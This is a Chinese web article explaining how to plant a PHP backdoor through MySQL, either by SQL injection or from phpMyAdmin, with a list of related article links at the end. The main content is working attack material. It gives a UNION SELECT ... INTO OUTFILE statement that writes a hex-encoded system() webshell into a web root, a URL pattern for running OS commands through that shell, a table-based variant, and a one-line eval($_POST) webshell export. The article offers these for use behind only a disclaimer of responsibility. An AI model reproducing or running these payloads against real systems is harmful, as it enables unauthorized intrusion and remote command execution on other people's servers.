Mysql的语句生成后门木马的方法

作者:hebedich 时间:2024-01-15 20:46:23 

咳咳,大家看看就好了,本人不负责所产生的后果


SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:2 3 <?php system($_REQUEST[cmd]);?>

再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统DOS命令!

哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么东西?

就是<?php system($_REQUEST[cmd]);?>的十六进制编码了,如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的, 哪这个后门就不能执行的了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!

 

 浅谈MySQL导出一句话木马拿WebShell的方法-只需要一句SQL

昨天看一篇文章中说到MySQL导出一句话木马拿WebShell的方法。
文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行):
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES(''); //把一句话木马插入到temp表
Select cmd from temp into out file 'F:/wwwroot/eval.php'; //查询temp表中的一句话并把结果导入到eval.php
Drop TABLE IF EXISTS temp; //删除temp(擦屁股o(∩_∩)o...)
这几句SQL很简单,我做了简单的注释。
不过想想我们在测试PHP的SQL漏洞的时候经常用如下的语句:
/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。
如果我们把上面这句改成/**/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。
也就是说如果我们的select语句后面不带from table语句的话,我们说查询的数字或字符会直接返回到查询结果里。
既然这样,我们为何还要那么麻烦去建一个表,先导入数据,再导出这样折腾呢。
有了这个思路,上面那一大段到出一句话的SQL代码可以直接简化到一句:

Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';

这样做不但简单明了,而且避免了误删别人的数据。以上所述就是本文的全部内容了,希望大家能够喜欢。

 

标签:Mysql,生成后门木马
0
投稿

猜你喜欢

  • python去掉空格的一些常用方式

    2022-02-10 04:45:34
  • 如何基于python实现年会抽奖工具

    2022-01-28 04:24:42
  • Python应用库大全总结

    2023-05-14 01:57:19
  • python3在同一行内输入n个数并用列表保存的例子

    2023-05-18 04:10:47
  • python使用suds调用webservice接口的方法

    2022-12-22 06:44:18
  • VMware中linux环境下oracle安装图文教程(一)

    2024-01-28 07:10:36
  • Python的 元组(Tuple)详解

    2021-09-07 13:55:18
  • Python利用Selenium实现网站自动签到功能

    2021-04-22 18:20:02
  • python实现对求解最长回文子串的动态规划算法

    2023-11-09 10:18:49
  • 热门问题python爬虫的效率如何提高

    2023-06-11 03:21:40
  • 有时间先后的翻页

    2008-05-23 13:14:00
  • 一文详解Python中的Map,Filter和Reduce函数

    2022-03-02 07:51:28
  • GO语言入门Golang进入HelloWorld

    2024-05-09 09:32:12
  • Python实现模拟分割大文件及多线程处理的方法

    2021-08-26 10:55:12
  • Python+Pytorch实战之彩色图片识别

    2022-09-12 13:57:39
  • Python中的rfind()方法使用详解

    2022-05-05 21:30:54
  • Python的内存泄漏及gc模块的使用分析

    2023-09-17 18:07:30
  • jupyter notebook实现显示行号

    2022-11-20 03:51:40
  • asp 得到动态数组中元素的个数

    2011-03-30 10:55:00
  • Python第三方包之DingDingBot钉钉机器人

    2022-09-06 14:50:38
  • asp之家 网络编程 m.aspxhome.com